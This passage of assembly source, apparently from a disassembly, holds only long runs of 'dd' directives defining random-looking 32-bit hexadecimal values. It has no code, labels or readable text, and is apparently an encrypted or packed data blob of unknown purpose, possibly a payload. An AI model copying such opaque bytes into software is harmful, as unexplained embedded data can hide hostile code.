		dd 0B3776165h, 79E59125h, 8774FFC6h, 46C492F7h,	0AD24EDE6h
		dd 0B6AC677Eh, 67914DF7h, 0F6C645h, 55A8E7B8h, 0FE2D8160h
		dd 0C55928A1h, 0E7CE6DE1h, 90806C40h, 63C7DC33h, 0F4FDC545h
		dd 0D013D7D0h, 47BCB7CCh, 3F4168E7h, 0C7A30490h, 0AFF0DA7Ah
		dd 0C5C7DF6Dh, 2DEEC74Fh, 4568F707h, 5BEDE146h,	85C435B3h
		dd 0F7D56DE1h, 0E1C56DA2h, 21B0AEEDh, 31DF0665h, 5521B051h
		dd 84F7EAC6h, 47DE9E7h,	10BBEDFEh, 0D1C751EAh, 0BCC7A86Dh
		dd 0B0A900F7h, 71EA6266h, 0C72DAD3Ch, 549A4E7h,	0C71EADD7h
		dd 8F0DF0F3h, 29A111EDh, 2DEAC569h, 47191F8h, 6936AB68h
		dd 83E09370h, 0F7C06DADh, 50A37D24h, 8340BEADh,	0F37D63F8h
		dd 61689147h, 0D2ADE0C5h, 45085ED7h, 514CDDh, 0F1C7ECBBh
		dd 0F0836DADh, 6DE24644h, 0F475E70Dh, 0DF2DAD61h, 8F5D22D7h
		dd 0F7B37FA2h, 0FF844960h, 79D8CA66h, 0BEFF4537h, 5968D729h
		dd 0E84CF507h, 6B41D91h, 0D7942DCDh, 9082616Ah,	0EDF731F6h
		dd 6DC5C67Dh, 0FC75E744h, 0D1ADF684h, 85B00771h, 3C606DD1h
		dd 0F3857521h, 209119ADh, 37427E45h, 7B4BC7CDh,	0CBEDA4F1h
		dd 0C4A37833h, 0F725EDD9h, 0E5C749E9h, 67F7F0ADh, 37B56A65h
		dd 792031E5h, 1CEDB112h, 424DEEB1h, 0F7A42D8Eh,	9CEE7CCAh
		dd 0AAA1D9FCh, 0F4FD8479h, 556BE7E0h, 6D2DDF46h, 0C4756DA1h
		dd 0D7DFEDF8h, 0FA0549E1h, 0E241CE2Dh, 0FBDE467Dh, 656BE705h
		dd 9D6DFCC4h, 0E16D6AB2h, 0F7862D91h, 0D8C7D0C8h, 8DE7DFADh
		dd 0F4FD85F4h, 49E0E7D2h, 0DF2DD7C7h, 8E71A3F7h, 31E7F481h
		dd 8502F4C5h, 0AAF7BAF2h, 2DCDC688h, 7C96C7BEh,	952D6E68h
		dd 0EB5D6BF7h, 0E7DBFFA6h, 0D384496Bh, 0AAA1F8FEh, 6DA6487Dh
		dd 5965E71Bh, 956DF1C5h, 0C6412AC7h, 0E72D4EE7h, 0D3C4E092h
		dd 5063ADFEh, 2DCDC4B0h, 0ECB56254h, 293FF087h,	87412880h
		dd 0F7B334D6h, 0D0C5E011h, 0C123F3B4h, 0F6B67D24h, 69AAE7B0h
		dd 40ADB4AFh, 0C4D4B56Fh, 0BFE76DC7h, 9E1C5560h, 23E7867Fh
		dd 6DE94575h, 7DA060C6h, 54ADB6D9h, 4E4C861h, 0E7FE37F5h
		dd 0CE84696Bh, 86B141ADh, 6DE3C5D8h, 7C7FE7E0h,	0ED74B1A4h
		dd 0A18710E7h, 0C7DFAD95h, 0F7447DADh, 63C7B374h, 31FAC445h
		dd 512DF7D9h, 6DADE507h, 4771EA93h, 0E7BA6DE6h,	92F76560h
		dd 7FE7FEBFh, 0F1B56254h, 7D6BE735h, 2B3EDE85h,	46D68E7h
		dd 0C7292DECh, 0F00541E8h, 0BBD7FEADh, 3CCFC6DCh, 4922A167h
		dd 27ADEDC7h, 0C7616921h, 3CFEEDDCh, 0EA44F4B9h, 0AED784EDh
		dd 0AD83424Dh, 7DE0F7ABh, 0F936EEC5h, 478CE5E7h, 0F7863CCFh
		dd 0DDC5556Ch, 55E73140h, 2DD104E8h, 65A8C72Bh,	0F7F0ABF5h
		dd 0B5949DF2h, 0C765ADA1h, 89EF656Ah, 0E2D7FEB4h, 2D0DD5C4h
		dd 95A4E748h, 0DDD1C1B5h, 0B5D8BCE7h, 0E7A0F449h, 0CE876DE2h
		dd 71C0863Fh, 34FE04D4h, 0E475C7FDh, 0FF34FEC4h, 0A1C434E7h
		dd 218EAD85h, 0FE055DA5h, 0ECD7C474h, 0AD8FE145h, 0C474E765h
		dd 0F476C844h, 0C57526C7h, 0F7F874FEh, 0AEF72C68h, 0DCF7376Dh
		dd 0EDE3C6FCh, 4D65E044h, 47FFC406h, 0C759E2CEh, 0D07334F6h
		dd 0E3C461AEh, 0E9D705EDh, 0AD95DA5Dh, 0ACA351C1h, 6DADF9C7h
		dd 0C768DBA3h, 0D7F82DE0h, 0CFC7C6DBh, 1BF7F236h, 0D2ACA47Ch
		dd 0F478900Ch, 0AADAF604h, 0B51754D7h, 1CECF189h, 905FFC54h
		dd 33E7F8ADh, 2DB2AFF0h, 75223028h, 33F2DB85h, 346120F0h
		dd 0F7F1AD60h, 0D585D45Fh, 2E8C74EDh, 0AD73B875h, 7524A1C0h
		dd 28BC7037h, 3945A890h, 0D2B0889Dh, 0CD459C60h, 0E702BB7Ch
		dd 5AA5416Dh, 41DC752h,	672DCD44h, 8F59ECF7h, 0C7F36D90h
		dd 89B548F7h, 6BE7F3B4h, 6DF5064Dh, 4DA32C80h, 604073BBh
		dd 868464C0h, 0C7DDF1E5h
		dd 0AD36607Bh, 0A5C71FEDh, 8823315Dh, 7D2DF7EFh, 0EE2DDDC4h
		dd 4445A2B1h, 0C70788DBh, 0DEC545A1h, 0E5E764EDh, 53D1879Ch
		dd 516B211Eh, 0E76DF9C6h, 63AC75A3h, 0E7B66DA8h, 0EE846123h
		dd 65E7766Dh, 0FBAEA241h, 69692052h, 0F0ADE8C5h, 0AA65E0D7h
		dd 0D729809Ah, 0DEC7652Ah, 22F030EDh, 0ADD10465h, 516BD7FEh
		dd 2BF38276h, 73512EF7h, 0D732AD56h, 0DF84947Eh, 7AE7FD78h
		dd 0EDBA2B3Ch, 4920238Eh, 41EDB4A3h, 0C43768C7h, 0D09CEDFAh
		dd 0A9A8BB29h, 0B763ADBBh, 0F4C144E4h, 75A4B0E0h, 0F179DE04h
		dd 63796EE7h, 0F7E2F178h, 0F04644F7h, 0D5B029ADh, 0EDAAA308h
		dd 2439D7BCh, 0E130B0B5h, 0C764FFF0h, 0E7E3EDD9h, 0E287BC67h
		dd 67E7FF73h, 74209369h, 0A0EAF7FCh, 173863Eh, 416DA771h
		dd 0D7B93098h, 50AF592Ch, 8EE7BF70h, 77974F14h,	6962A023h
		dd 5F6D356Ah, 0C569E921h, 0B22F3ECBh, 0D40455A2h, 0B9A17D51h
		dd 6DAC3BE8h, 8724D788h, 0DB6DF446h, 955CF8F7h,	41037458h
		dd 0AF024DABh, 0F4E7FBF4h, 0ED9DA3F4h, 0F474AEBBh, 0C74BE3Bh
		dd 444C88F7h, 0D770EDE2h, 0A6AEEC78h, 0FCC78EADh, 809772C4h
		dd 456291BFh, 62EDD046h, 45D43532h, 316EEDDCh, 0C905E873h
		dd 0A2C7DBB4h, 7FE28551h, 796AA1F8h, 0C5AD1E20h, 0C6A42691h
		dd 413A74E6h, 9719C417h, 0EDD71DADh, 0EDD94771h, 9870BC15h
		dd 9F80F805h, 0D44564C7h, 0E7EAADBAh, 66306163h, 0BCE712EDh
		dd 2DD806E4h, 0D07C520Eh, 4D40DD86h, 549EDB1h, 0F71550ECh
		dd 0D1C48B53h, 0E3B1CCEDh, 0B1C1C4A8h, 71E7E7B4h, 63ADB1E2h
		dd 0C45DA203h, 0C7C974F1h, 0D6C7507Ah, 7FE7E46Dh, 0EDBDA248h
		dd 71AAACDDh, 0DFEDBD52h, 13452CF7h, 7E61F3A6h,	0E80548FFh
		dd 0A2C7EDADh, 0F3E9C54Dh, 0B0E0E7DAh, 2FED85E2h, 2D801942h
		dd 600472BCh, 0C0454564h, 0A4A1847Bh, 0EDB1AF65h, 4DE9D779h
		dd 0EBB1529Ah, 0C78826D7h, 0F7182DE4h, 0D186EC80h, 6DD7E1ADh
		dd 74E0C65Dh, 0D8B51058h, 992D9235h, 4F0F5E7h, 3DF42DD7h
		dd 0D80555A3h, 65E7783Eh, 0ADD0C561h, 0D4CCE7EAh, 0DBADD705h
		dd 0C4696DD7h, 9111ADF1h, 89A24855h, 0E5E7A4ADh, 0B9F38565h
		dd 0B710E784h, 272D8DA3h, 0C6F48BDCh, 82013FCFh, 8AC0652Bh
		dd 18D7DBF4h, 0AD8D22ABh, 4D2AF7FCh, 0B96D9692h, 45D4379Eh
		dd 0C714ADC3h, 91BEE0B0h, 8FD706F6h, 6DE645E7h,	0ECB6E77Ch
		dd 0F1378321h, 41B83B91h, 1D474A5h, 0FDC555A1h,	0A1C714B4h
		dd 6DE54575h, 71EBA1A8h, 0F3AD8D5Fh, 607030E7h,	0F7EE6DA0h
		dd 0D407BB4Bh, 0B6603EBCh, 0F6F6C4FFh, 0FCF6A385h, 0F3F462E3h
		dd 0C5D4FDA1h, 0C7F57CEBh, 0FFC456FCh, 6DF7DF44h, 0B2710061h
		dd 0D475B10Eh, 8B64E505h, 45F4C7BDh, 0A147D4D7h, 0EF0698B8h
		dd 35A38774h, 0EDDD0468h, 55EAB3E1h, 872D91EDh,	0ED45A4A1h
		dd 0E7252D89h, 25E2ACCDh, 0F231F7ADh, 0F4F20557h, 8BDDC7EBh
		dd 0E93CFD45h, 4571A2A1h, 0A029CAC4h, 0CE457D6Bh, 64C2A06Dh
		dd 0EDF1C49Ch, 69666020h, 0B476ABECh, 0C74566E7h, 0F7ABEDE1h
		dd 0ED05C475h, 68D01A36h, 0EDA6C341h, 0C230912Dh, 0F1ADE6C7h
		dd 0C78C9CF7h, 0C73BADC0h, 83397D6Dh, 0A1413DADh, 2D93C04Dh
		dd 687412BBh, 8670BE36h, 0C67DA6E7h, 503AC7C6h,	0E6C67D67h
		dd 0A2A1EFEDh, 31F9057Dh, 4D695328h, 6AF4BE54h,	0DAC6771h
		dd 61812D4Eh, 9060DC3Eh, 643406Dh, 8FACEC74h, 6E8DD7A9h
		dd 79ED9D61h, 0ED4569C7h, 0E711F4ADh, 0FD87696Bh, 0EAE2F76Dh
		dd 2DD2C569h, 0A0A45D2Dh, 45FFD2C5h, 0AFDD8CC7h, 0E7FE4FC3h
		dd 0BFCCC10Fh, 0B661ACB0h, 0AD970F78h, 0D475F796h, 0B06DEE45h
		dd 0C751E7E7h, 0D78673F5h, 586061EDh, 2DF7D7B7h, 0C4D6C74Dh
		dd 45A0F72Fh, 456DEC06h, 0C7C08191h, 0A05BADEDh, 987E65A4h
		dd 7640BDF4h, 2DE7C7E0h, 6925D77Bh, 1708740h, 0C564FCF7h
		dd 0C1052DE2h, 0C74544F3h, 62C7DFBCh, 39FF8745h, 75ADF056h
		dd 2AFCDFC5h, 4565AE33h, 21FDFCDFh, 0FA468772h,	53B31ADh
		dd 7649A8D4h, 696D1331h, 2586EC07h, 0E869EED7h,	0E7FF3C49h
		dd 6CA34D26h, 0A721FD37h, 2D646361h, 6006E700h,	842D8D8Dh
		dd 206D6CC7h, 0D7DF4EAAh, 0D787756Ch, 0A2E786B4h, 0EDE4C57Dh
		dd 0B728632Ch, 97B0EA86h, 86B46751h, 7DFD2DFAh,	0EB0645AEh
		dd 65E78884h, 6D636361h, 51620502h, 744AE4C7h, 4445A1C7h
		dd 2981EDC9h, 0FA44496Bh, 5FE72E66h, 2D4D6AD7h,	70DEC7B4h
		dd 0CA7E53FDh, 8468993Fh, 0D7DA0EECh, 0D1C55719h, 0E62DD941h
		dd 0EDC1AB59h, 5563251Dh, 0A01EC885h, 86C11CD7h, 38F6DFCh
		dd 0CA4687E1h, 9EF2932Dh, 3EE02BD1h, 24C8F7BBh,	0FC708F68h
		dd 6361E42Dh, 0E7402D7Fh, 0E9C65EDFh, 2525DC6Dh, 6D1A4A51h
		dd 75EDD444h, 0DF417DB4h, 945D6CF7h, 0F7E1E1AEh, 64EADC36h
		dd 9631FD06h, 6DEB46C7h, 59EDC444h, 0D0411BF7h,	85E4BC3Dh
		dd 802711E3h, 0E34444FFh, 2DD7F261h, 0F48C610Ch, 0BBEAC784h
		dd 86F4884Dh, 61D817F7h, 41C5F493h, 0DBC6A7ABh,	83E78474h
		dd 0EDB199B4h, 0F8F11929h, 6C3F6CCBh, 858DADC7h, 0E705C0E4h
		dd 0B1E3CA5Dh, 0A4A062EDh, 0ADB52D79h, 7DA57397h, 40ADCCF7h
		dd 764C9BE7h, 0F7990695h, 6CEE5DACh, 0CD0075F4h, 0EDF5C6F4h
		dd 0A4FEC72Bh, 20AD9621h, 86F1C6C7h, 0DA46DC2h,	89986126h
		dd 0E2416AADh, 6DEE4641h, 0EB9C6114h, 0DFEDCD04h, 50596ED7h
		dd 0F7547E87h, 0EA4745A1h, 6FB00FEDh, 70CEC771h, 807F9057h
		dd 0F6DE986h, 0C74D6BA0h, 0F79F70CEh, 0E0C67D29h, 76C7FB6Dh
		dd 6DA0335Ch, 4876C7BBh, 6670CE46h, 73496DD7h, 0D7DEEDAAh
		dd 8A7CB8F9h, 20B0153Bh, 2DAA014Dh, 75ACA00Fh, 0D36DB092h
		dd 7947FD7h, 0E78A38F1h, 0AD7349EAh, 61B2D0ADh,	0EDB9136Dh
		dd 5124B2D0h, 0C470CE87h, 0C730B8E7h, 0A00F6DF0h, 0CEC67D63h
		dd 0A5E7BF70h, 0B6B37349h, 4520A00Fh, 0B270CEC7h, 841C84C7h
		dd 0F7EFFBF3h, 8C73496Dh, 2CA249EDh, 6DB85D4Dh,	4D2D6264h
		dd 386DA85Dh, 0C475A1B0h, 50E678CFh, 0D3C5847Fh, 65B00FEDh
		dd 0EDAF534Dh, 0A47FD7A4h, 0BDBBEF44h, 442C3EC7h, 0A00F6DF5h
		dd 0A8DC4D21h, 21824AADh, 70CE8745h, 3041C7E8h,	6838F105h
		dd 53884C7h, 0A00FEDCCh, 0B0DC4DA4h, 0A44262EDh, 0EDB29D7Dh
		dd 947FD76Eh, 9EBBEF46h, 461C04C7h, 0C71EFBF3h,	8EE12842h
		dd 0B2D7A170h, 0ADEDC7B0h, 0B004836Bh, 6BADECC7h, 0C7B08483h
		dd 836BADEFh, 0A1F26967h, 0A1B854ADh, 0AD237F51h, 5DA17EC8h
		dd 0F6DE486h, 0B2452890h, 50DAADA0h, 0F006907Fh, 29A00FEDh
		dd 2DA89E65h, 94F9D75Ah, 15C6D3C4h, 14D21B0h, 0F7D43BBDh
		dd 0A39B6DEDh, 0A0F7E52Dh, 0ED952179h, 51E1A36Bh, 0A96DE9C7h
		dd 0C7CBF6D7h, 30252DDDh, 0E5865DA2h, 732042ADh, 6DE847F0h
		dd 0D090D7F9h, 0F2DDDC4h, 649A9B0h, 0E7CC70CEh,	0DF4730C8h
		dd 0E0A00F2Dh, 0ADA0A371h, 2C57E7B1h, 0FEDE584h, 5955E1A0h
		dd 22E2ADA4h, 0A273C871h, 0A5B00F32h, 70CEC669h, 10C8E7CEh
		dd 0F2DE147h, 5955EAA0h, 22F72D94h, 809E65ABh, 7FD7552Dh
		dd 77EC46A4h, 5DEBF7B4h, 0FC6DA552h, 0F845ED32h, 0C7F36DA0h
		dd 0A0EF4076h, 76C7B36Dh, 30E6C644h, 9292E7FAh,	57FCDF04h
		dd 47A47FD7h, 0D78DBAC1h, 95F26969h, 0E278C8ADh, 6D60D251h
		dd 0B24BE7F0h, 9FFCDF84h, 0E0A8F9D7h, 0C7B10B8Ch, 0CE464C76h
		dd 17E7C870h, 2DCD0730h, 6D6DA00Fh, 8770CE86h, 0F269EBC7h
		dd 816BF797h, 0CCC7B059h
		dd 0E9280BADh, 2DA4DA4Dh, 847FD71Dh, 8B3AEF07h,	8704F8E7h
		dd 0B00F2DE5h, 0B5DB556Ch, 0E832D92Dh, 0ADA0BB75h, 4965E7C9h
		dd 536D9473h, 44B4F9D7h, 0F7A7FCDFh, 0EC44F0B5h, 0A2E7844Ah
		dd 0ED96C145h, 59A2B1A4h, 0C56D357Eh, 87E0F5F7h, 0A1A52DD7h
		dd 0AC417569h, 0B5F7192Dh, 0FCED44D4h, 0D0B5F744h, 59FCED44h
		dd 6DF099F7h, 33B4EDADh, 0E18445A1h, 26AF35EDh,	8CE6C545h
		dd 6925E7F0h, 0E1AD49C0h, 8547F1D7h, 0AF35EDF1h, 0E685556Ah
		dd 2AC707BCh, 2DED4549h, 59602170h, 47ADEDC4h, 541A4E7h
		dd 0F7206DEDh, 0EE0679A2h, 6DD7566Dh, 0ADE40641h, 9C15C7B5h
		dd 54F2F0C5h, 8765E5F7h, 0A107ADE4h, 9DC3716Eh,	62F7862Dh
		dd 0EDA1695Dh, 59EAF72Fh, 612DA22Dh, 7F71A720h,	0A1BB7484h
		dd 0F5C745E6h, 0AAF7B8EDh, 339FA35Dh, 65E1E7C1h, 27645523h
		dd 84D4BD00h, 0E70774ECh, 0FB4775E8h, 0E5A038F0h, 0F2E60551h
		dd 7928E7BAh, 0DBED8E99h, 86D436D7h, 0B359F5E5h, 0ECC555A2h
		dd 0A7E7BA6Dh, 0F4A26365h, 0B8A7C7B6h, 0BA6DAE62h, 0C4F07AD7h
		dd 0D7E474C3h, 0D0C5F841h, 0B8E79EADh, 0AD9923A4h, 59A5A309h
		dd 443CAF03h, 0E34163A1h, 0B1C96D81h, 0AD23E444h, 0A2B309ADh
		dd 0EDCFC465h, 4D2AC7D1h, 0FA34E5C6h, 6D51A191h, 0A11DAD8Dh
		dd 8D226D63h, 79BF55ADh, 34F546C2h, 0F090D7FBh,	2AEDC104h
		dd 0EA45A7A1h, 0D7106D6Eh, 82305167h, 0BB500934h, 0EDB322F0h
		dd 55E5C7C7h, 872DB243h, 0C555A0F7h, 0A144ADE7h, 85E34161h
		dd 6C77BB7h, 7FE28444h,	68BBC759h, 0E0B7B643h, 434DA5C7h
		dd 63FD2D72h, 0D96C7524h, 8275BEEDh, 2D63ACC1h,	6DECE765h
		dd 5B6DEEC4h, 4C65E1C7h, 8387EDA1h, 0C30551E5h,	36D7FF97h
		dd 0BCE644C4h, 0FD03813Eh, 3D97DB2Ch, 0CE94355h, 638D540Ch
		dd 0C7C46D22h, 4AE72477h, 5FD70748h, 0D14B75BEh, 0DDBF450Ch
		dd 6F78B9F7h, 0E7C274A3h, 8BF1FD83h, 0C5578A7h,	0E6E50743h
		dd 0DD4B457Eh, 0FC6D212Ch, 6EC50365h, 21CA8FD9h, 0F5C56960h
		dd 0AEF7862Dh, 0C645FB61h, 65A23304h, 8847C847h, 0C5444AE7h
		dd 1D047FC0h, 0C6EB9B9Ch, 666F3CBFh, 0A7D06C51h, 0E4BD4DB3h
		dd 55C7D744h, 6CC445C7h, 75BEED49h, 0AF63D582h,	62D7B46Dh
		dd 6D3DA941h, 0EC809187h, 8CED962Ah, 2A55EC6Bh,	39C47F40h
		dd 0EAC745A2h, 1DD7DF66h, 2F40772h, 7BC33DEDh, 0EAAD98CBh
		dd 46D2DF7h, 0E75B74FFh, 0C684D4FBh, 0BBC7FD34h, 488B24Bh
		dd 716DD7F2h, 0BBADC584h, 556681h, 0F750349Eh, 9DCFB7E6h
		dd 26F7F3C1h, 1C81F43Ah, 0E73BB02Dh, 4CB1F144h,	8BAD60B3h
		dd 716F6749h, 0E8F4B126h, 20F4B0A1h, 0AD052E30h, 91E6538Ch
		dd 0AAEDDD04h, 0F491A1F4h, 0D7F27927h, 999420A0h, 0E9E75FBCh
		dd 9ECC4A7h, 9D29D7EFh,	0BAA1E335h, 16B92BD4h, 0F4ABE154h
		dd 0F4F481E1h, 0E3F4B3A1h, 0ADB1A2A1h, 0D5FBD4FEh, 0C661E134h
		dd 0C765A2F4h, 0AAE4D1CAh, 0C6745523h, 0FFE7FC34h, 819E7BF0h
		dd 0BBED31E9h, 74619E0Ch, 0D4A92C3Dh, 0E2B67817h, 0EFB4287Eh
		dd 0D213C761h, 3F5A6F93h, 91B8F482h, 33A1F6B2h,	3595A6E4h
		dd 9893FFCDh, 0D13B867h, 63EED9ADh, 46F67155h, 0C79D1F22h
		dd 0E8E1C904h, 3D89A8F4h, 5437A3E6h, 0A915ADC0h, 223BD0ADh
		dd 0D9D84555h, 0B93FF7F6h, 5E40927Eh, 0C455A0B1h, 0E7F609D5h
		dd 97EBB937h, 0E8A1443Eh, 57C32A55h, 0A965D7D7h, 62D25B5h
		dd 4B1E705h, 25066DDDh,	0D1EB59EEh, 3F7FE66h, 7CC604C6h
		dd 0E5BFD7FBh, 7CF861EFh, 39AD5745h, 0D765677Eh, 0B10E456Bh
		dd 0C37D8CEDh, 0E2C86CC1h, 0C1CD759Eh, 0FBE2C9EFh, 4F575445h
		dd 14F5CE87h, 0F9B8E543h, 8FF71567h, 0C4F007F2h, 7D2E4D8Eh
		dd 0AF2D396Ch, 0AC81D004h, 614DAD01h, 1D6C7D6Eh, 62A12AADh
		dd 74C52F55h, 54FFD7FEh, 0EAA7DD44h, 150C2634h,	0C2F53499h
		dd 0C1C5B917h, 25E7B4CCh, 0EDE3C67Dh, 49A1C7DFh, 95F4DD45h
		dd 847D2DF7h, 0C7FBFCD6h, 0B0A0C087h, 67D7F3ADh, 0FCFF065Dh
		dd 887AA162h, 0F3B4ACA1h, 0C5F8BAF7h, 613F6DEEh, 0DFC57D6Dh
		dd 0E081A434h, 0E4A20E45h, 69E59326h, 0E0E4FEA1h, 21E97715h
		dd 0D7E0E4DEh, 0EBE0FCBAh, 75D77A9Ch, 8CFC84F0h, 7D67D07Fh
		dd 7FA4C786h, 61E4A9h, 0E788CE3Ch, 3C32CCB3h, 610A10ADh
		dd 0A41F22B8h, 0C9F49545h, 2FE4C6A1h, 21C9F695h, 9537A4E6h
		dd 0C6A0C9F0h, 7B853FA4h, 0ADB515EEh, 0F0B539D0h, 0A4BCDE04h
		dd 74C72D7h, 0D7FED4D5h, 0F744D435h, 0F1A5EBCCh, 39A461F9h
		dd 0E0B5B19Ah, 7BBCDE84h, 0E1EC3A91h, 0F725ED89h, 91E155E8h
		dd 0A0B35BEDh, 0EDD6C46Dh, 0FF0EC7D5h, 84EDDC44h, 651AAC7h
		dd 0A17334D3h, 85A04D26h, 0ADC726ADh, 0EDE48455h, 6D2DB121h
		dd 73EDE1C4h, 0C751E0A1h, 0C72F77C5h, 91804DE9h, 0AEF0EA37h
		dd 2DD9C665h, 5C8A9158h, 5B49748h, 0C56526C7h, 0D7A237CDh
		dd 56B5644Bh, 0BAD0B634h, 0EDE484DFh, 51677184h, 50EDA6E1h
		dd 0CFECF0E7h, 90496D90h, 87A9C7BAh, 57B1F1C6h,	0B4BF49FCh
		dd 0E471F7F6h, 0E8B4FF84h, 6616DD7h, 0C7E8F4FBh, 0ACDE5521h
		dd 33C7E8B4h, 0AD982BD4h, 796DE7E8h, 0DEADD0C5h, 0C74873D7h
		dd 711DF5E5h, 0C0C451E5h, 13404AF6h, 2DB4E3C4h,	0F05323C4h
		dd 41BEA069h, 4C41223h,	9119BEE2h, 6F22B80Eh, 500571A6h
		dd 96CB46D5h, 48F23334h, 95EDA6EEh, 4D0B5F7h, 0F7F5ADE7h
		dd 0E004070Eh, 1EF727F4h, 6D98E1F1h, 55A2C707h,	2566D806h
		dd 4575AEF7h, 739D35DBh, 0AF79F851h, 112371A6h,	0BEBCA1E4h
		dd 492B1332h, 0E5AD5D48h, 0C4D471F8h, 817137EEh, 0A908D8F0h
		dd 7AC7DE3Fh, 2D9A7864h, 0F3364159h, 0EDEDBCE1h, 77925D4h
		dd 7D526DD0h, 0E644A4E7h, 67A1FE6Dh, 0B1D70541h, 65EDC726h
		dd 773EC4C6h, 225961C7h, 0E7C16D5Dh, 83B461ECh,	4EC70FADh
		dd 0BCDE84D2h, 0B693F7C1h, 0E3A2E446h, 0B8AD57F7h, 0B119C4C3h
		dd 6C22F834h, 0AEFC3D47h, 0CD38465h, 0ADE2D43Fh, 97F4C239h
		dd 0C6FCB441h, 0E7B5EDE5h, 0A23749E1h, 61C24AADh, 6DEEC465h
		dd 65E1E7DBh, 1EDCEC4h,	615D6FA2h, 61D6ED8Eh, 67E14962h
		dd 0A81184F4h, 2DD54549h, 5D618363h, 60ED61A1h,	0B88CCBF7h
		dd 0B33BAD3Fh, 0CB747F3Ah, 0F7852BA1h, 34D6C67Ah, 8A6DF7F4h
		dd 52DF5C7h, 0B761E9E7h, 21CB2D9Dh, 0DF85F435h,	0A1C7E534h
		dd 0F4A9D67Dh, 0C037C7D6h, 0F94389F6h, 68433D7h, 0E7EEF4EAh
		dd 0A2816DE5h, 0A0A311F6h, 0B34C406Dh, 0C070A3BFh, 9BADB1E0h
		dd 0C6FC3B09h, 0C7FA71DEh, 0DBC5302Eh, 36C74A79h, 88E78614h
		dd 75A7AE76h, 0EC90F9B0h, 5089F3D7h, 0A1E601A0h, 3D3149AFh
		dd 0B8A43BEDh, 0A0F145D4h, 0B86EA2F2h, 32B8780Ah, 50888013h
		dd 0C7F5AD90h, 0DB866567h, 0A9D7572Dh, 0ADA27294h, 4469173h
		dd 87BBEE44h, 0A8CB7504h, 0F48EA196h, 90311C74h, 76D7D4ADh
		dd 2D519634h, 7562E892h, 693E9D56h, 0C4336BD7h,	93D933E0h
		dd 0BDE1D48Ah, 0F0D2D12Dh, 847C21ECh, 4A34A928h, 51ED5603h
		dd 7D831E7h, 0E7846DEEh, 8F4A61A2h, 20D7E0ADh, 2DD20679h
		dd 47B0E774h, 233CAA33h, 45D47083h, 9A30B4C5h, 0A800E79Ah
		dd 6E9FB830h, 6DD0C749h, 48DBF7F9h, 0E8ADE6C7h,	0C4752DF7h
		dd 0E7E6EDD5h, 8D4AC275h, 0B4D4BBE2h, 0ADB1A00Fh, 65E46227h
		dd 0B93CDCC4h, 0C7CC11B2h, 0D729ADF1h, 0EDC45DE6h, 0A2B16D6Dh
		dd 7EDD067Dh, 7DE0E7E5h, 0DAF469F6h, 0A1B105D7h, 4CADE3BCh
		dd 0AEFD8E6Bh, 0C9F7CAFBh
		dd 9E384ABh, 61EAA1E6h,	0D3ED61FEh, 0FEB90E58h,	282413EAh
		dd 0AD5B59ACh, 0C9F7E1CAh, 0ADD6C70Bh, 65E821F6h, 0BCADE3C4h
		dd 0D0512270h, 94FA3788h, 0C9B08DBEh, 73943DEDh, 719EBE38h
		dd 2036C7ACh, 21F42AB8h, 0C765E5A3h, 947060D6h,	6970BD93h
		dd 0A1C7F3B4h, 0AD91E055h, 4965220Fh, 0BCED805Bh, 0C2889D40h
		dd 284B4B5h, 0BDD0D4BAh, 73B4CB84h, 8A8CE150h, 0CB3BA143h
		dd 956D511Eh, 175DE54Ch, 0F7708292h, 5BBE1FB6h,	0A6E78AF0h
		dd 0A09E027Dh, 0B031B1D0h, 0E588F8B0h, 6995F3D7h, 0C7C6CAADh
		dd 0DCF99196h, 0B7916FE2h, 3BA5611Ch, 89B8E7CCh, 0B06DAFA3h
		dd 21944ED7h, 464ADBEh,	0C485F776h, 0F3F736BCh,	0BCC4A07Ch
		dd 6163ADFDh, 0F5C73DBDh, 0B6DF04F7h, 0B10A21C3h, 0E14555ADh
		dd 7BFC1EFCh, 83658D34h, 0F74775ADh, 77C23DDh, 575E0D7h
		dd 0E4535CECh, 0F93EF13Ch, 0F5B1E71Bh, 44C944E4h, 0D075116Fh
		dd 8CEDF2BDh, 0C7C8B88Fh, 0F72F2DE7h, 0A12B5DADh, 2E7170F4h
		dd 6DE1C751h, 756AE7E3h, 187C9E83h, 0C788517Dh,	0E7472DDCh
		dd 0D60549A1h, 6DE736EDh, 0EDD2C575h, 69EA7291h, 0E0ADC0C7h
		dd 444DE5E7h, 0E7B837D5h, 0D8844963h, 65E7FBF1h, 0ADA5EC5Dh
		dd 6163C7E7h, 0E5ADCFC5h, 0C5716BE7h, 0B1C06DF3h, 0FCC665ADh
		dd 6DD7B3ADh, 34F1C451h, 65A2E79Bh, 0E7F4CB45h,	0C7E8F6F7h
		dd 0E7252DE4h, 0DCC751AFh, 781C6ADh, 2D92B574h,	5D69D707h
		dd 97ADECC4h, 471A48Dh,	0E71F2DD2h, 0E4C46124h,	0A1A16EADh
		dd 8F962161h, 0ED42C057h, 0E0F43BEFh, 0C5752DF7h, 0E7956DE5h
		dd 0C1C569EBh, 7ED71700h, 6D9173D0h, 6D6EE7A4h,	0C53882C9h
		dd 0C55DA561h, 0C7A1F7D8h, 0F8C5A084h, 49C7FFADh, 0ADB8F5F0h
		dd 4780C7F5h, 0B26DF0C7h, 6CD18375h, 59BAA7D0h,	0E8EFB022h
		dd 2558067h, 0B1952CD5h, 79E95D0Eh, 0CAED902Fh,	0C4C64ED7h
		dd 0E7E66DEFh, 0E8C5D4D5h, 0C8759734h, 27FC8576h, 0F50365FCh
		dd 0C4A7D92Ch, 0AFF50D65h, 35ADA7DBh, 0CAC66757h, 491528E6h
		dd 6D458CFDh, 0F100F7C0h, 0B8A7C86Ch, 0EFF10275h, 558067E8h
		dd 0CF69ED02h, 17D7D4C6h, 37EE29F9h, 6DE46376h,	70EDB58Ch
		dd 0CA61674Fh, 0C7ACAD11h, 92A2F434h, 316DFEF8h, 7CAE2CECh
		dd 45679160h, 15BFDEC6h, 297121C7h, 71D4EDB1h, 0C645E38Dh
		dd 0CC45478Fh, 0E6FA2EC1h, 59A82B2Ch, 17E6D269h, 6F792A55h
		dd 0E7BA6DA6h, 0EAC569A4h, 0ACD745EDh, 7CC80651h, 592DF2B5h
		dd 468166ADh, 84616D53h, 91EEEDD9h, 0CDC66DEDh,	0AEBD47EDh
		dd 6D6CED6Dh, 47C5C780h, 1E376BA3h, 0C750BF44h,	0E291ADE2h
		dd 889C5164h, 0EBC718C7h, 34C5A1B4h, 49A48197h,	6CED72F2h
		dd 0D681E9B3h, 0BF47ED63h, 0C184B0BDh, 0ABC452EDh, 0EDAA63B9h
		dd 7DADF708h, 0B79D106h, 3665A7A1h, 0C45BF842h,	97E281F5h
